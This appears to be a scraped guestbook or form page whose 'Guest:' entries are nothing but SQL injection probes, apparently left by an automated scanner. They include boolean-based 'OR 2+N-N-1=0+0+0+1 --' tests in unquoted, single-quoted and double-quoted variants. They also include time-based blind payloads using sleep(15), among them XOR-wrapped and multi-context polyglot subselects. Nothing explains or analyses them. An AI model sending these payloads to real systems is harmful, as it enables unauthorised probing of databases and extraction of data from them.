Guest:
1


-1 OR 2+437-437-1=0+0+0+1 --

-1 OR 2+383-383-1=0+0+0+1

-1' OR 2+640-640-1=0+0+0+1 --

-1' OR 2+344-344-1=0+0+0+1 or 'iBID5CUZ'='

-1" OR 2+273-273-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/